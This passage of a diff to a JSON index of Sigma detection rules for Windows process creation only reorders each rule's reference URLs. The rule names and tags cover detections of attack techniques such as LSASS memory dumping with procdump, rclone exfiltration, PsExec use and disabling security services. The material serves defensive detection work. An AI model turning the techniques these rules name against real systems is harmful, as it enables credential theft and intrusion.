"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_print.yml" + "https://lolbas-project.github.io/lolbas/Binaries/Print/" ], "tags": [ "attack.defense_evasion", @@ -51463,8 +51461,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_procdump_lsass.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_procdump_lsass.yml", + "Internal Research" ], "tags": [ "attack.defense_evasion", @@ -51512,8 +51510,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_progname.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_progname.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md" ], "tags": "No established tags" }, @@ -51533,8 +51531,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexec_eula.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexec_eula.yml", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" ], "tags": [ "attack.execution", @@ -51558,9 +51556,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc.yml", "https://www.youtube.com/watch?v=ro2QuZTIMBM", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc.yml" + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec" ], "tags": [ "attack.execution" @@ -51582,8 +51580,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc_as_system.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc_as_system.yml", + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec" ], "tags": [ "attack.execution" @@ -51605,9 +51603,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc_renamed.yml", "https://www.youtube.com/watch?v=ro2QuZTIMBM", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc_renamed.yml" + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec" ], "tags": [ "attack.execution" @@ -51629,10 +51627,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexex_paexec_escalate_system.yml", "https://www.poweradmin.com/paexec/", "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexex_paexec_escalate_system.yml" + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec" ], "tags": [ "attack.resource_development", @@ -51656,10 +51654,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexex_paexec_flags.yml", "https://www.poweradmin.com/paexec/", "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexex_paexec_flags.yml" + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec" ], "tags": [ "attack.resource_development", @@ -51683,10 +51681,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", - "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Sysinternals/PsLogList", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psloglist.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psloglist.yml", + "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos" ], "tags": [ "attack.discovery", @@ -51711,8 +51709,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Psr/", "https://www.sans.org/summit-archives/file/summit-archive-1493861893.pdf", + "https://lolbas-project.github.io/lolbas/Binaries/Psr/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psr_capture_screenshots.yml" ], @@ -51738,8 +51736,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/JohnLaTwC/status/1082851155481288706", - "https://app.any.run/tasks/f87f1c4e-47e2-4c46-9cf4-31454c06ce03", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_appdata.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_appdata.yml", + "https://app.any.run/tasks/f87f1c4e-47e2-4c46-9cf4-31454c06ce03" ], "tags": [ "attack.execution", @@ -51789,8 +51787,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/fcadca91-3580-4ede-aff4-4d2bf809bf99/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_encoded_obfusc.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_encoded_obfusc.yml", + "https://app.any.run/tasks/fcadca91-3580-4ede-aff4-4d2bf809bf99/" ], "tags": [ "attack.defense_evasion" @@ -51839,8 +51837,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/", "https://ss64.com/bash/rar.html", + "https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rar_flags.yml" ], @@ -51915,12 +51913,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rclone_execution.yml", "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", - "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone", "https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rclone_execution.yml" + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", + "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone" ], "tags": [ "attack.exfiltration", @@ -51943,8 +51941,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md" ], "tags": [ "attack.collection", @@ -51967,8 +51965,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon_network_activity.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon_network_activity.yml", + "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/" ], "tags": [ "attack.discovery", @@ -51993,8 +51991,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/1kwpeter/status/1397816101455765504", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regedit_trustedinstaller.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regedit_trustedinstaller.yml", + "https://twitter.com/1kwpeter/status/1397816101455765504" ], "tags": [ "attack.privilege_escalation", @@ -52017,9 +52015,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/PhilipTsukerman/status/992021361106268161", "https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_register_cimprovider.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_register_cimprovider.yml", + "https://twitter.com/PhilipTsukerman/status/992021361106268161" ], "tags": [ "attack.defense_evasion", @@ -52042,8 +52040,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20", "https://ss64.com/vb/cscript.html", + "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_registration_via_cscript.yml" ], "tags": [ @@ -52067,9 +52065,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_anomalies.yml", "https://subt0x10.blogspot.de/2017/04/bypass-application-whitelisting-script.html", - "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_anomalies.yml" + "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/" ], "tags": [ "attack.defense_evasion", @@ -52118,9 +52116,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mrd0x/status/1461041276514623491c19-ps", "https://twitter.com/tccontre18/status/1480950986650832903", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_http_pattern.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_http_pattern.yml", + "https://twitter.com/mrd0x/status/1461041276514623491c19-ps" ], "tags": [ "attack.defense_evasion", @@ -52143,10 +52141,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", - "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", "https://guides.lib.umich.edu/c.php?g=282942&p=1885348", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_image.yml" + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_image.yml", + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/" ], "tags": [ "attack.defense_evasion", @@ -52169,8 +52167,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_no_dll.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_no_dll.yml", + "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/" ], "tags": [ "attack.defense_evasion", @@ -52218,9 +52216,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/intelligence-insights-april-2022/", "https://www.echotrail.io/insights/search/regsvr32.exe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_spawn_explorer.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_spawn_explorer.yml", + "https://redcanary.com/blog/intelligence-insights-april-2022/" ], "tags": [ "attack.defense_evasion", @@ -52243,9 +52241,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.001/T1562.001.md", "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_add.yml" ], "tags": [ @@ -52270,8 +52268,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_bitlocker.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_bitlocker.yml", + "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/" ], "tags": [ "attack.impact", @@ -52295,10 +52293,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/JohnLaTwC/status/1415295021041979392", "https://github.com/gordonbay/Windows-On-Reins/blob/e587ac7a0407847865926d575e3c46f68cf7c68d/wor.ps1", "https://vms.drweb.fr/virus/?i=24144899", "https://bidouillesecurity.com/disable-windows-defender-in-powershell/", + "https://twitter.com/JohnLaTwC/status/1415295021041979392", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_disable_sec_services.yml" ], "tags": [ @@ -52346,13 +52344,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.joeware.net/freetools/tools/adfind/", - "https://thedfirreport.com/2020/05/08/adfind-recon/", "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_adfind.yml" + "https://thedfirreport.com/2020/05/08/adfind-recon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_adfind.yml", + "https://www.joeware.net/freetools/tools/adfind/" ], "tags": [ "attack.discovery", @@ -52378,9 +52376,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_createdump.yml", "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", - "https://twitter.com/bopin2020/status/1366400799199272960", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_createdump.yml" + "https://twitter.com/bopin2020/status/1366400799199272960" ], "tags": [ "attack.defense_evasion", @@ -52459,8 +52457,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.poweradmin.com/paexec/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_paexec.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_paexec.yml", + "https://www.poweradmin.com/paexec/" ], "tags": [ "attack.defense_evasion", @@ -52484,10 +52482,10 @@ "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Rpcping/", - "https://twitter.com/vysecurity/status/974806438316072960", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rpcping.yml", "https://twitter.com/vysecurity/status/873181705024266241", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh875578(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rpcping.yml" + "https://twitter.com/vysecurity/status/974806438316072960" ], "tags": [ "attack.credential_access", @@ -52510,12 +52508,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/", - "https://twitter.com/Hexacorn/status/885258886428725250", + "https://twitter.com/eral4m/status/1479080793003671557", "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52", "https://twitter.com/nas_bench/status/1433344116071583746", + "https://twitter.com/Hexacorn/status/885258886428725250", "https://twitter.com/eral4m/status/1479106975967240209", - "https://twitter.com/eral4m/status/1479080793003671557", + "http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_activity.yml" ], "tags": [ @@ -52540,10 +52538,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://techtalk.pcmatic.com/2017/11/30/running-dll-files-malware-analysis/", - "https://github.com/Neo23x0/DLLRunner", "https://twitter.com/cyb3rops/status/1186631731543236608", "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", + "https://techtalk.pcmatic.com/2017/11/30/running-dll-files-malware-analysis/", + "https://github.com/Neo23x0/DLLRunner", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_by_ordinal.yml" ], "tags": [ @@ -52567,8 +52565,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_inline_vbs.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_inline_vbs.yml", + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/" ], "tags": [ "attack.defense_evasion", @@ -52687,11 +52685,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Libraries/Setupapi/", - "https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf", - "https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf", "https://twitter.com/Z3Jpa29z/status/1313742350292746241?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_setupapi_installhinfsection.yml" + "https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf", + "https://lolbas-project.github.io/lolbas/Libraries/Setupapi/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_setupapi_installhinfsection.yml", + "https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf" ], "tags": [ "attack.defense_evasion", @@ -52738,8 +52736,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_sys.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_sys.yml", + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/" ], "tags": [ "attack.defense_evasion", @@ -52785,9 +52783,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/pabraeken/status/990717080805789697", "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_runonce_execution.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_runonce_execution.yml", + "https://twitter.com/pabraeken/status/990717080805789697" ], "tags": [ "attack.defense_evasion", @@ -52861,8 +52859,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/misbehaving-rats/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rurat_exec_location.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rurat_exec_location.yml", + "https://redcanary.com/blog/misbehaving-rats/" ], "tags": [ "attack.defense_evasion" @@ -52884,9 +52882,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_change.yml", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_change.yml" + "Internal Research" ], "tags": [ "attack.execution", @@ -52909,8 +52907,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_delete.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_delete.yml", + "Internal Research" ], "tags": [ "attack.impact", @@ -52933,8 +52931,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-delete", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_delete_all.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_delete_all.yml", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-delete" ], "tags": [ "attack.impact", @@ -52957,10 +52955,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-8---windows---disable-the-sr-scheduled-task", "https://twitter.com/MichalKoczwara/status/1553634816016498688", - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_disable.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-8---windows---disable-the-sr-scheduled-task", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_disable.yml", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/" ], "tags": [ "attack.impact", @@ -52984,9 +52982,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_env_folder.yml", "https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_env_folder.yml" + "https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/" ], "tags": [ "attack.execution", @@ -53009,8 +53007,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_folder_combos.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_folder_combos.yml", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical" ], "tags": [ "attack.execution", @@ -53082,9 +53080,9 @@ "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create", "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_schedule_type.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_schedule_type.yml", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create" ], "tags": [ "attack.execution", @@ -53107,9 +53105,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_schedule_type_system.yml", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_schedule_type_system.yml" + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create" ], "tags": [ "attack.execution", @@ -53210,8 +53208,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_screenconnect_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_screenconnect_access.yml", + "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies" ], "tags": [ "attack.initial_access", @@ -53234,8 +53232,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_screensaver_reg.yml" ], "tags": [ @@ -53283,8 +53281,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/91ba814a86ddedc7a9d546e26f912c541205b47a853d227756ab1334ade92c3f", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_env_folder.yml" + 